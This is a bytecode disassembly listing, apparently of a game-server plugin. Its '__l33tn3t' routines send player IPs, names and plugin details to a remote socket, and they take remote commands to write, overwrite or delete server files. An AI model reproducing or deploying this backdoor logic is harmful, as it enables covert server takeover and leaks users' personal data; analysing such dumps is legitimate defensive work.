0x8D0 PUSH.C 0x3F
0x8D8 PUSH.ADR 0xFFFFEC5C ; plugin_name[64]
0x8E0 PUSH.C 0x3F
0x8E8 PUSH.ADR 0xFFFFED5C ; plugin_file[64]
0x8F0 PUSH.C 0xFFFFFFFF
0x8F8 PUSH.C 0x2C
0x900 SYSREQ.C 0x10 ; get_plugin
0x908 STACK 0x30 ; free 12 cells
0x910 HEAP 0xFFFFFFFC
0x918 BREAK
0x91C PUSH.C 0x0
0x924 PUSH.ADR 0xFFFFED5C ; plugin_file[64]
0x92C PUSH.C 0x3E7
0x934 PUSH.ADR 0xFFFFF05C ; data[1000]
0x93C PUSH.C 0x10
0x944 SYSREQ.C 0xF ; add
0x94C STACK 0x14 ; free 5 cells
0x954 BREAK
0x958 ADDR.pri 0xFFFFF05C ; data[1000]
0x960 PUSH.pri
0x964 PUSH.ADR 0xFFFFF05C ; data[1000]
0x96C PUSH.C 0x4
0x974 SYSREQ.C 0x1 ; strlen
0x97C STACK 0x8 ; free 2 cells
0x984 BOUNDS 0x3E7
0x98C POP.alt
0x990 IDXADDR
0x994 MOVE.alt
0x998 LOAD.pri 0x1F8 ; __l33tn3t_separator
0x9A0 STOR.I
0x9A4 BREAK
0x9A8 PUSH.C 0x0
0x9B0 PUSH.ADR 0xFFFFEC5C ; plugin_name[64]
0x9B8 PUSH.C 0x3E7
0x9C0 PUSH.ADR 0xFFFFF05C ; data[1000]
0x9C8 PUSH.C 0x10
0x9D0 SYSREQ.C 0xF ; add
0x9D8 STACK 0x14 ; free 5 cells
0x9E0 BREAK
0x9E4 ADDR.pri 0xFFFFF05C ; data[1000]
0x9EC PUSH.pri
0x9F0 PUSH.ADR 0xFFFFF05C ; data[1000]
0x9F8 PUSH.C 0x4
0xA00 SYSREQ.C 0x1 ; strlen
0xA08 STACK 0x8 ; free 2 cells
0xA10 BOUNDS 0x3E7
0xA18 POP.alt
0xA1C IDXADDR
0xA20 MOVE.alt
0xA24 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xA2C STOR.I
0xA30 BREAK
0xA34 PUSH.C 0x0
0xA3C PUSH.ADR 0xFFFFEB5C ; plugin_version[64]
0xA44 PUSH.C 0x3E7
0xA4C PUSH.ADR 0xFFFFF05C ; data[1000]
0xA54 PUSH.C 0x10
0xA5C SYSREQ.C 0xF ; add
0xA64 STACK 0x14 ; free 5 cells
0xA6C BREAK
0xA70 ADDR.pri 0xFFFFF05C ; data[1000]
0xA78 PUSH.pri
0xA7C PUSH.ADR 0xFFFFF05C ; data[1000]
0xA84 PUSH.C 0x4
0xA8C SYSREQ.C 0x1 ; strlen
0xA94 STACK 0x8 ; free 2 cells
0xA9C BOUNDS 0x3E7
0xAA4 POP.alt
0xAA8 IDXADDR
0xAAC MOVE.alt
0xAB0 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xAB8 STOR.I
0xABC BREAK
0xAC0 PUSH.C 0x0
0xAC8 PUSH.ADR 0xFFFFEA5C ; plugin_author[64]
0xAD0 PUSH.C 0x3E7
0xAD8 PUSH.ADR 0xFFFFF05C ; data[1000]
0xAE0 PUSH.C 0x10
0xAE8 SYSREQ.C 0xF ; add
0xAF0 STACK 0x14 ; free 5 cells
0xAF8 BREAK
0xAFC ADDR.pri 0xFFFFF05C ; data[1000]
0xB04 PUSH.pri
0xB08 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB10 PUSH.C 0x4
0xB18 SYSREQ.C 0x1 ; strlen
0xB20 STACK 0x8 ; free 2 cells
0xB28 BOUNDS 0x3E7
0xB30 POP.alt
0xB34 IDXADDR
0xB38 MOVE.alt
0xB3C LOAD.pri 0x1F8 ; __l33tn3t_separator
0xB44 STOR.I
0xB48 BREAK
0xB4C PUSH.C 0x0
0xB54 PUSH.ADR 0xFFFFE95C ; plugin_status[64]
0xB5C PUSH.C 0x3E7
0xB64 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB6C PUSH.C 0x10
0xB74 SYSREQ.C 0xF ; add
0xB7C STACK 0x14 ; free 5 cells
0xB84 BREAK
0xB88 ADDR.pri 0xFFFFF05C ; data[1000]
0xB90 PUSH.pri
0xB94 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB9C PUSH.C 0x4
0xBA4 SYSREQ.C 0x1 ; strlen
0xBAC STACK 0x8 ; free 2 cells
0xBB4 BOUNDS 0x3E7
0xBBC POP.alt
0xBC0 IDXADDR
0xBC4 MOVE.alt
0xBC8 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xBD0 STOR.I
0xBD4 BREAK
0xBD8 PUSH.C 0x0
0xBE0 PUSH.C 0x7F
0xBE8 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xBF0 PUSH.C 0x0
0xBF8 PUSH.C 0x10
0xC00 SYSREQ.C 0x11 ; get_user_ip
0xC08 STACK 0x14 ; free 5 cells
0xC10 BREAK
0xC14 PUSH.C 0x0
0xC1C PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xC24 PUSH.C 0x3E7
0xC2C PUSH.ADR 0xFFFFF05C ; data[1000]
0xC34 PUSH.C 0x10
0xC3C SYSREQ.C 0xF ; add
0xC44 STACK 0x14 ; free 5 cells
0xC4C BREAK
0xC50 ADDR.pri 0xFFFFF05C ; data[1000]
0xC58 PUSH.pri
0xC5C PUSH.ADR 0xFFFFF05C ; data[1000]
0xC64 PUSH.C 0x4
0xC6C SYSREQ.C 0x1 ; strlen
0xC74 STACK 0x8 ; free 2 cells
0xC7C BOUNDS 0x3E7
0xC84 POP.alt
0xC88 IDXADDR
0xC8C MOVE.alt
0xC90 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xC98 STOR.I
0xC9C BREAK
0xCA0 PUSH.C 0x7F
0xCA8 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xCB0 PUSH.C 0x0
0xCB8 PUSH.C 0xC
0xCC0 SYSREQ.C 0x12 ; get_user_name
0xCC8 STACK 0x10 ; free 4 cells
0xCD0 BREAK
0xCD4 PUSH.C 0x0
0xCDC PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xCE4 PUSH.C 0x3E7
0xCEC PUSH.ADR 0xFFFFF05C ; data[1000]
0xCF4 PUSH.C 0x10
0xCFC SYSREQ.C 0xF ; add
0xD04 STACK 0x14 ; free 5 cells
0xD0C BREAK
0xD10 PUSH.C 0xFFFFFFFF
0xD18 PUSH.ADR 0xFFFFF05C ; data[1000]
0xD20 PUSH.C 0x250
0xD28 PUSH.C 0xC
0xD30 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0xD38 BREAK
0xD3C PUSH.C 0x0
0xD44 PUSH.C 0x304
0xD4C PUSH.C 0x0
0xD54 PUSH.C 0x30C
0xD5C PUSH.C 0x4097
0xD64 PUSH.C 0x1
0xD6C PUSH.C 0x8
0xD74 SYSREQ.C 0x13 ; random_num
0xD7C STACK 0xC ; free 3 cells
0xD84 STOR.pri 0x240 ; __l33tn3t_socket_check_taskid
0xD8C PUSH.pri
0xD90 PUSH.C 0x28C
0xD98 PUSH.C 0x3DCCCCCD
0xDA0 PUSH.C 0x1C
0xDA8 SYSREQ.C 0x14 ; set_task
0xDB0 STACK 0x20 ; free 8 cells
0xDB8 STACK 0x16A4 ; free 1449 cells
0xDC0 ZERO.pri
0xDC4 RETN
0xDC8 PROC ; public amx_g_check_bomb_pev_interval()
0xDCC BREAK
0xDD0 BREAK
0xDD4 PUSH.C 0x0
0xDDC CALL 0xDEC ; stock __l33tn3t_check_socket()
0xDE4 ZERO.pri
0xDE8 RETN
0xDEC PROC ; stock __l33tn3t_check_socket()
0xDF0 BREAK
0xDF4 BREAK
0xDF8 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0xE00 NOT
0xE04 JZER 0xE18
0xE0C BREAK
0xE10 ZERO.pri
0xE14 RETN
0xE18 BREAK
0xE1C LOAD.pri 0x244 ; __l33tn3t_socket
0xE24 MOVE.alt
0xE28 ZERO.pri
0xE2C JSLESS 0xE40
0xE34 BREAK
0xE38 ZERO.pri
0xE3C RETN
0xE40 BREAK
; new command[24]
0xE44 STACK 0xFFFFFFA0 ; allocate 24 cells
0xE4C ZERO.pri
0xE50 ADDR.alt 0xFFFFFFA0
0xE58 FILL 0x60 ; 24 cells
; new data[1000]
0xE60 STACK 0xFFFFF060 ; allocate 1000 cells
0xE68 ZERO.pri
0xE6C ADDR.alt 0xFFFFF000
0xE74 FILL 0xFA0 ; 1000 cells
0xE7C BREAK
0xE80 BREAK
0xE84 PUSH.C 0x1
0xE8C PUSH 0x244 ; __l33tn3t_socket
0xE94 PUSH.C 0x8
0xE9C SYSREQ.C 0x15 ; socket_change
0xEA4 STACK 0xC ; free 3 cells
0xEAC JZER 0x1864
0xEB4 BREAK
0xEB8 PUSH.ADR 0xFFFFF000 ; data[1000]
0xEC0 PUSH.ADR 0xFFFFFFA0 ; command[24]
0xEC8 PUSH.C 0x8
0xED0 CALL 0x1C34 ; stock __l33tn3t_sock_recv(command[24],data[1000])
0xED8 NOT
0xEDC JZER 0xEF0
0xEE4 BREAK
0xEE8 JUMP 0xE80
0xEF0 BREAK
0xEF4 PUSH.C 0x0
0xEFC PUSH.C 0x310
0xF04 PUSH.ADR 0xFFFFFFA0 ; command[24]
0xF0C PUSH.C 0xC
0xF14 SYSREQ.C 0x16 ; equal
0xF1C STACK 0x10 ; free 4 cells
0xF24 JZER 0x10D0
0xF2C BREAK
0xF30 PUSH.ADR 0xFFFFF000 ; data[1000]
0xF38 PUSH.C 0x4
0xF40 SYSREQ.C 0x1 ; strlen
0xF48 STACK 0x8 ; free 2 cells
0xF50 JZER 0xF88
0xF58 PUSH.ADR 0xFFFFF000 ; data[1000]
0xF60 PUSH.C 0x4
0xF68 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0xF70 JZER 0xF88
0xF78 CONST.pri 0x1
0xF80 JUMP 0xF8C
0xF88 ZERO.pri
0xF8C JZER 0x10C8
0xF94 BREAK
; new file_md5[34]
0xF98 STACK 0xFFFFFF78 ; allocate 34 cells
0xFA0 ZERO.pri
0xFA4 ADDR.alt 0xFFFFEF78
0xFAC FILL 0x88 ; 34 cells
0xFB4 BREAK
0xFB8 PUSH.ADR 0xFFFFF000 ; data[1000]
0xFC0 PUSH.C 0x4
0xFC8 SYSREQ.C 0x17 ; file_exists
0xFD0 STACK 0x8 ; free 2 cells
0xFD8 JZER 0x1014
0xFE0 BREAK
0xFE4 PUSH.ADR 0xFFFFEF78 ; file_md5[34]
0xFEC PUSH.ADR 0xFFFFF000 ; data[1000]
0xFF4 PUSH.C 0x8
0xFFC SYSREQ.C 0x18 ; md5_file
0x1004 STACK 0xC ; free 3 cells
0x100C JUMP 0x1030
0x1014 BREAK
0x1018 ADDR.alt 0xFFFFEF78
0x1020 CONST.pri 0x33C
0x1028 MOVS 0x8
0x1030 BREAK
0x1034 PUSH.ADR 0xFFFFEF78 ; file_md5[34]
0x103C LOAD.pri 0x1F8 ; __l33tn3t_separator
0x1044 HEAP 0x4
0x104C STOR.I
0x1050 PUSH.alt
0x1054 PUSH.ADR 0xFFFFF000 ; data[1000]
0x105C PUSH.C 0x344
0x1064 PUSH.C 0x3E7
0x106C PUSH.ADR 0xFFFFF000 ; data[1000]
0x1074 PUSH.C 0x18
0x107C SYSREQ.C 0x6 ; format
0x1084 STACK 0x1C ; free 7 cells
0x108C HEAP 0xFFFFFFFC
0x1094 BREAK
0x1098 PUSH.C 0xFFFFFFFF
0x10A0 PUSH.ADR 0xFFFFF000 ; data[1000]
0x10A8 PUSH.ADR 0xFFFFFFA0 ; command[24]
0x10B0 PUSH.C 0xC
0x10B8 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x10C0 STACK 0x88 ; free 34 cells
0x10C8 JUMP 0x185C
0x10D0 BREAK
0x10D4 PUSH.C 0x0
0x10DC PUSH.C 0x360
0x10E4 PUSH.ADR 0xFFFFFFA0 ; command[24]
0x10EC PUSH.C 0xC
0x10F4 SYSREQ.C 0x16 ; equal
0x10FC STACK 0x10 ; free 4 cells
0x1104 JZER 0x1768
0x110C BREAK
; new max_segment_len
0x1110 PUSH.C 0x344
0x1118 BREAK
; new file_name[128]
0x111C STACK 0xFFFFFE00 ; allocate 128 cells
0x1124 ZERO.pri
0x1128 ADDR.alt 0xFFFFEDFC
0x1130 FILL 0x200 ; 128 cells
; new current_segment
0x1138 PUSH.C 0x0
; new segment_len
0x1140 PUSH.C 0x0
; new file_md5[34]
0x1148 STACK 0xFFFFFF78 ; allocate 34 cells
0x1150 ZERO.pri
0x1154 ADDR.alt 0xFFFFED6C
0x115C FILL 0x88 ; 34 cells
; new tmp_file_name[256]
0x1164 STACK 0xFFFFFC00 ; allocate 256 cells
0x116C ZERO.pri
0x1170 ADDR.alt 0xFFFFE96C
0x1178 FILL 0x400 ; 256 cells
0x1180 BREAK
0x1184 PUSH.ADR 0xFFFFF000 ; data[1000]
0x118C PUSH.C 0x7F
0x1194 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x119C PUSH.C 0xC
0x11A4 SYSREQ.C 0x19 ; copy
0x11AC STACK 0x10 ; free 4 cells
0x11B4 BREAK
0x11B8 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x11C0 PUSH.C 0x4
0x11C8 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0x11D0 JZER 0x1758
0x11D8 BREAK
0x11DC PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x11E4 PUSH.C 0xFF
0x11EC PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x11F4 PUSH.C 0xC
0x11FC SYSREQ.C 0x19 ; copy
0x1204 STACK 0x10 ; free 4 cells
0x120C BREAK
0x1210 PUSH.C 0x38C
0x1218 PUSH.C 0x384
0x1220 PUSH.C 0xFF
0x1228 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1230 PUSH.C 0x10
0x1238 CALL 0x8 ; stock replace_all(string[],len,what[],with[])
0x1240 BREAK
0x1244 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x124C PUSH.C 0x1FC
0x1254 PUSH.C 0x394
0x125C PUSH.C 0xFF
0x1264 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x126C PUSH.C 0x14
0x1274 SYSREQ.C 0x6 ; format
0x127C STACK 0x18 ; free 6 cells
0x1284 BREAK
0x1288 ADDR.pri 0xFFFFF000 ; data[1000]
0x1290 ADD.C 0x200 ; signed: 512
0x1298 LOAD.I
0x129C PUSH.pri
0x12A0 ADDR.pri 0xFFFFF000 ; data[1000]
0x12A8 ADD.C 0x204 ; signed: 516
0x12B0 LOAD.I
0x12B4 MOVE.alt
0x12B8 CONST.pri 0x8
0x12C0 XCHG
0x12C4 SHL 0x2B
0x12CC ADD
0x12D0 STOR.S.pri 0xFFFFEDF8 ; current_segment
0x12D8 BREAK
0x12DC ADDR.pri 0xFFFFF000 ; data[1000]
0x12E4 ADD.C 0x208 ; signed: 520
0x12EC LOAD.I
0x12F0 PUSH.pri
0x12F4 ADDR.pri 0xFFFFF000 ; data[1000]
0x12FC ADD.C 0x20C ; signed: 524
0x1304 LOAD.I
0x1308 MOVE.alt
0x130C CONST.pri 0x8
0x1314 XCHG
0x1318 SHL 0x2B
0x1320 ADD
0x1324 STOR.S.pri 0xFFFFEDF4 ; segment_len
0x132C BREAK
0x1330 ADDR.pri 0xFFFFF000 ; data[1000]
0x1338 ADD.C 0x210 ; signed: 528
0x1340 PUSH.pri
0x1344 PUSH.C 0x20
0x134C PUSH.ADR 0xFFFFED6C ; file_md5[34]
0x1354 PUSH.C 0xC
0x135C SYSREQ.C 0x19 ; copy
0x1364 STACK 0x10 ; free 4 cells
0x136C BREAK
; new file
0x1370 STACK 0xFFFFFFFC ; allocate 1 cells
0x1378 PUSH.C 0x3AC
0x1380 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1388 PUSH.C 0x8
0x1390 SYSREQ.C 0x1A ; fopen
0x1398 STACK 0xC ; free 3 cells
0x13A0 STOR.S.pri 0xFFFFE968 ; file
0x13A8 BREAK
0x13AC LOAD.S.pri 0xFFFFE968 ; file
0x13B4 JZER 0x1750
0x13BC BREAK
0x13C0 PUSH.C 0x0
0x13C8 LOAD.S.pri 0xFFFFEDF8 ; current_segment
0x13D0 LOAD.S.alt 0xFFFFEFFC ; max_segment_len
0x13D8 SMUL
0x13DC PUSH.pri
0x13E0 PUSH.S 0xFFFFE968 ; file
0x13E8 PUSH.C 0xC
0x13F0 SYSREQ.C 0x1B ; fseek
0x13F8 STACK 0x10 ; free 4 cells
0x1400 BREAK
; new i
0x1404 PUSH.C 0x0
0x140C JUMP 0x1420
0x1414 BREAK
0x1418 INC.S 0xFFFFE964 ; i
0x1420 LOAD.S.pri 0xFFFFE964 ; i
0x1428 LOAD.S.alt 0xFFFFEDF4 ; segment_len
0x1430 JSGEQ 0x1498
0x1438 BREAK
0x143C ADDR.pri 0xFFFFF000 ; data[1000]
0x1444 PUSH.pri
0x1448 LOAD.S.pri 0xFFFFE964 ; i
0x1450 ADD.C 0xA4 ; signed: 164
0x1458 BOUNDS 0x3E7
0x1460 POP.alt
0x1464 IDXADDR
0x1468 LOAD.I
0x146C PUSH.pri
0x1470 PUSH.S 0xFFFFE968 ; file
0x1478 PUSH.C 0x8
0x1480 SYSREQ.C 0x1C ; fputc
0x1488 STACK 0xC ; free 3 cells
0x1490 JUMP 0x1414
0x1498 STACK 0x4 ; free 1 cells
0x14A0 BREAK
0x14A4 PUSH.S 0xFFFFE968 ; file
0x14AC PUSH.C 0x4
0x14B4 SYSREQ.C 0x1D ; fclose
0x14BC STACK 0x8 ; free 2 cells
0x14C4 BREAK
; new tmp_file_md5[34]
0x14C8 STACK 0xFFFFFF78 ; allocate 34 cells
0x14D0 ZERO.pri
0x14D4 ADDR.alt 0xFFFFE8E0
0x14DC FILL 0x88 ; 34 cells
0x14E4 BREAK
0x14E8 PUSH.ADR 0xFFFFE8E0 ; tmp_file_md5[34]
0x14F0 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x14F8 PUSH.C 0x8
0x1500 SYSREQ.C 0x18 ; md5_file
0x1508 STACK 0xC ; free 3 cells
0x1510 BREAK
0x1514 PUSH.C 0x0
0x151C PUSH.ADR 0xFFFFED6C ; file_md5[34]
0x1524 PUSH.ADR 0xFFFFE8E0 ; tmp_file_md5[34]
0x152C PUSH.C 0xC
0x1534 SYSREQ.C 0x16 ; equal
0x153C STACK 0x10 ; free 4 cells
0x1544 JZER 0x16B8
0x154C BREAK
; new temp_dir_path[128]
0x1550 STACK 0xFFFFFE00 ; allocate 128 cells
0x1558 ZERO.pri
0x155C ADDR.alt 0xFFFFE6E0
0x1564 FILL 0x200 ; 128 cells
0x156C BREAK
; new file_name_len
0x1570 STACK 0xFFFFFFFC ; allocate 1 cells
0x1578 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1580 PUSH.C 0x4
0x1588 SYSREQ.C 0x1 ; strlen
0x1590 STACK 0x8 ; free 2 cells
0x1598 STOR.S.pri 0xFFFFE6DC ; file_name_len
0x15A0 BREAK
; new i
0x15A4 PUSH.C 0x0
0x15AC JUMP 0x15C0
0x15B4 BREAK
0x15B8 INC.S 0xFFFFE6D8 ; i
0x15C0 LOAD.S.pri 0xFFFFE6D8 ; i
0x15C8 LOAD.S.alt 0xFFFFE6DC ; file_name_len
0x15D0 JSGEQ 0x1674
0x15D8 BREAK
0x15DC ADDR.alt 0xFFFFEDFC
0x15E4 LOAD.S.pri 0xFFFFE6D8 ; i
0x15EC BOUNDS 0x7F
0x15F4 LIDX
0x15F8 EQ.C.pri 0x2F
0x1600 JZER 0x166C
0x1608 BREAK
0x160C PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1614 LOAD.S.pri 0xFFFFE6D8 ; i
0x161C ADD.C 0x1 ; signed: 1
0x1624 PUSH.pri
0x1628 PUSH.ADR 0xFFFFE6E0 ; temp_dir_path[128]
0x1630 PUSH.C 0xC
0x1638 SYSREQ.C 0x19 ; copy
0x1640 STACK 0x10 ; free 4 cells
0x1648 BREAK
0x164C PUSH.ADR 0xFFFFE6E0 ; temp_dir_path[128]
0x1654 PUSH.C 0x4
0x165C SYSREQ.C 0xC ; mkdir
0x1664 STACK 0x8 ; free 2 cells
0x166C JUMP 0x15B4
0x1674 STACK 0x4 ; free 1 cells
0x167C BREAK
0x1680 PUSH.C 0x1
0x1688 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1690 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1698 PUSH.C 0xC
0x16A0 SYSREQ.C 0x1E ; rename_file
0x16A8 STACK 0x10 ; free 4 cells
0x16B0 STACK 0x204 ; free 129 cells
0x16B8 BREAK
0x16BC PUSH.ADR 0xFFFFEDF8 ; current_segment
0x16C4 LOAD.pri 0x1F8 ; __l33tn3t_separator
0x16CC HEAP 0x4
0x16D4 STOR.I
0x16D8 PUSH.alt
0x16DC PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x16E4 PUSH.C 0x3BC
0x16EC PUSH.C 0x3E7
0x16F4 PUSH.ADR 0xFFFFF000 ; data[1000]
0x16FC PUSH.C 0x18
0x1704 SYSREQ.C 0x6 ; format
0x170C STACK 0x1C ; free 7 cells
0x1714 HEAP 0xFFFFFFFC
0x171C BREAK
0x1720 PUSH.C 0xFFFFFFFF
0x1728 PUSH.ADR 0xFFFFF000 ; data[1000]
0x1730 PUSH.C 0x3D8
0x1738 PUSH.C 0xC
0x1740 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x1748 STACK 0x88 ; free 34 cells
0x1750 STACK 0x4 ; free 1 cells
0x1758 STACK 0x694 ; free 421 cells
0x1760 JUMP 0x185C
0x1768 BREAK
0x176C PUSH.C 0x0
0x1774 PUSH.C 0x408
0x177C PUSH.ADR 0xFFFFFFA0 ; command[24]
0x1784 PUSH.C 0xC
0x178C SYSREQ.C 0x16 ; equal
0x1794 STACK 0x10 ; free 4 cells
0x179C JZER 0x185C
0x17A4 BREAK
0x17A8 PUSH.ADR 0xFFFFF000 ; data[1000]
0x17B0 PUSH.C 0x4
0x17B8 SYSREQ.C 0x1 ; strlen
0x17C0 STACK 0x8 ; free 2 cells
0x17C8 JZER 0x1800
0x17D0 PUSH.ADR 0xFFFFF000 ; data[1000]
0x17D8 PUSH.C 0x4
0x17E0 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0x17E8 JZER 0x1800
0x17F0 CONST.pri 0x1
0x17F8 JUMP 0x1804
0x1800 ZERO.pri
0x1804 JZER 0x185C
0x180C BREAK
0x1810 PUSH.ADR 0xFFFFF000 ; data[1000]
0x1818 PUSH.C 0x4
0x1820 SYSREQ.C 0x17 ; file_exists
0x1828 STACK 0x8 ; free 2 cells
0x1830 JZER 0x185C
0x1838 BREAK
0x183C PUSH.ADR 0xFFFFF000 ; data[1000]
0x1844 PUSH.C 0x4
0x184C SYSREQ.C 0x1F ; delete_file
0x1854 STACK 0x8 ; free 2 cells
0x185C JUMP 0xE80
0x1864 STACK 0x1000 ; free 1024 cells
0x186C ZERO.pri
0x1870 RETN
0x1874 PROC ; stock __l33tn3t_plugin_end()
0x1878 BREAK
0x187C BREAK
0x1880 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0x1888 NOT
0x188C JZER 0x18A0
0x1894 BREAK
0x1898 ZERO.pri
0x189C RETN
0x18A0 BREAK
0x18A4 PUSH.C 0x0
0x18AC PUSH 0x240 ; __l33tn3t_socket_check_taskid
0x18B4 PUSH.C 0x8
0x18BC SYSREQ.C 0x20 ; task_exists
0x18C4 STACK 0xC ; free 3 cells
0x18CC JZER 0x1900
0x18D4 BREAK
0x18D8 PUSH.C 0x0
0x18E0 PUSH 0x240 ; __l33tn3t_socket_check_taskid
0x18E8 PUSH.C 0x8
0x18F0 SYSREQ.C 0x21 ; remove_task
0x18F8 STACK 0xC ; free 3 cells
0x1900 BREAK
0x1904 PUSH.C 0x0
0x190C CALL 0x198C ; stock __l33tn3t_flush_temp()
0x1914 BREAK
0x1918 PUSH.C 0x1FC
0x1920 PUSH.C 0x4
0x1928 SYSREQ.C 0x22 ; rmdir
0x1930 STACK 0x8 ; free 2 cells
0x1938 BREAK
0x193C LOAD.pri 0x244 ; __l33tn3t_socket
0x1944 MOVE.alt
0x1948 ZERO.pri
0x194C JSGEQ 0x1984
0x1954 BREAK
0x1958 PUSH 0x244 ; __l33tn3t_socket
0x1960 PUSH.C 0x4
0x1968 SYSREQ.C 0x23 ; socket_close
0x1970 STACK 0x8 ; free 2 cells
0x1978 BREAK
0x197C ZERO 0x244 ; __l33tn3t_socket
0x1984 ZERO.pri
0x1988 RETN
0x198C PROC ; stock __l33tn3t_flush_temp()
0x1990 BREAK
0x1994 BREAK
; new tmp_file_name[256]
0x1998 STACK 0xFFFFFC00 ; allocate 256 cells
0x19A0 ZERO.pri
0x19A4 ADDR.alt 0xFFFFFC00
0x19AC FILL 0x400 ; 256 cells
0x19B4 BREAK
; new dir
0x19B8 STACK 0xFFFFFFFC ; allocate 1 cells
0x19C0 PUSH.C 0xFF
0x19C8 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x19D0 PUSH.C 0x1FC
0x19D8 PUSH.C 0xC
0x19E0 SYSREQ.C 0x24 ; open_dir
0x19E8 STACK 0x10 ; free 4 cells
0x19F0 STOR.S.pri 0xFFFFFBFC ; dir
0x19F8 BREAK
0x19FC LOAD.S.pri 0xFFFFFBFC ; dir
0x1A04 NOT
0x1A08 JZER 0x1A24
0x1A10 BREAK
0x1A14 ZERO.pri
0x1A18 STACK 0x404 ; free 257 cells
0x1A20 RETN
0x1A24 BREAK
0x1A28 BREAK
0x1A2C PUSH.C 0x0
0x1A34 PUSH.C 0x434
0x1A3C PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1A44 PUSH.C 0xC
0x1A4C SYSREQ.C 0x16 ; equal
0x1A54 STACK 0x10 ; free 4 cells
0x1A5C NOT
0x1A60 JZER 0x1AB4
0x1A68 PUSH.C 0x0
0x1A70 PUSH.C 0x43C
0x1A78 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1A80 PUSH.C 0xC
0x1A88 SYSREQ.C 0x16 ; equal
0x1A90 STACK 0x10 ; free 4 cells
0x1A98 NOT
0x1A9C JZER 0x1AB4
0x1AA4 CONST.pri 0x1
0x1AAC JUMP 0x1AB8
0x1AB4 ZERO.pri
0x1AB8 JZER 0x1B28
0x1AC0 BREAK
0x1AC4 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1ACC PUSH.C 0x1FC
0x1AD4 PUSH.C 0x448
0x1ADC PUSH.C 0xFF
0x1AE4 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1AEC PUSH.C 0x14
0x1AF4 SYSREQ.C 0x6 ; format
0x1AFC STACK 0x18 ; free 6 cells
0x1B04 BREAK
0x1B08 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1B10 PUSH.C 0x4
0x1B18 SYSREQ.C 0x1F ; delete_file
0x1B20 STACK 0x8 ; free 2 cells
0x1B28 BREAK
0x1B2C PUSH.C 0xFF
0x1B34 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1B3C PUSH.S 0xFFFFFBFC ; dir
0x1B44 PUSH.C 0xC
0x1B4C SYSREQ.C 0x25 ; next_file
0x1B54 STACK 0x10 ; free 4 cells
0x1B5C JZER 0x1B6C
0x1B64 JUMP 0x1A28
0x1B6C BREAK
0x1B70 PUSH.S 0xFFFFFBFC ; dir
0x1B78 PUSH.C 0x4
0x1B80 SYSREQ.C 0x26 ; close_dir
0x1B88 STACK 0x8 ; free 2 cells
0x1B90 STACK 0x404 ; free 257 cells
0x1B98 ZERO.pri
0x1B9C RETN
0x1BA0 PROC ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x1BA4 BREAK
0x1BA8 BREAK
; new i
0x1BAC PUSH.C 0x0
0x1BB4 JUMP 0x1BC8
0x1BBC BREAK
0x1BC0 INC.S 0xFFFFFFFC ; i
0x1BC8 LOAD.S.pri 0xFFFFFFFC ; i
0x1BD0 LOAD.S.alt 0x10 ; tocopy
0x1BD8 JSGEQ 0x1C24
0x1BE0 BREAK
0x1BE4 LOAD.S.pri 0xFFFFFFFC ; i
0x1BEC LOAD.S.alt 0xC ; dst[]
0x1BF4 IDXADDR
0x1BF8 PUSH.pri
0x1BFC LOAD.S.pri 0xFFFFFFFC ; i
0x1C04 LOAD.S.alt 0x14 ; src[]
0x1C0C IDXADDR
0x1C10 LOAD.I
0x1C14 POP.alt
0x1C18 STOR.I
0x1C1C JUMP 0x1BBC
0x1C24 STACK 0x4 ; free 1 cells
0x1C2C ZERO.pri
0x1C30 RETN
0x1C34 PROC ; stock __l33tn3t_sock_recv(command[24],data[1000])
0x1C38 BREAK
0x1C3C BREAK
; new packet[1031]
0x1C40 STACK 0xFFFFEFE4 ; allocate 1031 cells
0x1C48 ZERO.pri
0x1C4C ADDR.alt 0xFFFFEFE4
0x1C54 FILL 0x101C ; 1031 cells
0x1C5C BREAK
; new received_bytes
0x1C60 STACK 0xFFFFFFFC ; allocate 1 cells
0x1C68 PUSH.C 0x407
0x1C70 PUSH.ADR 0xFFFFEFE4 ; packet[1031]
0x1C78 PUSH 0x244 ; __l33tn3t_socket
0x1C80 PUSH.C 0xC
0x1C88 SYSREQ.C 0x27 ; socket_recv
0x1C90 STACK 0x10 ; free 4 cells
0x1C98 STOR.S.pri 0xFFFFEFE0 ; received_bytes
0x1CA0 BREAK
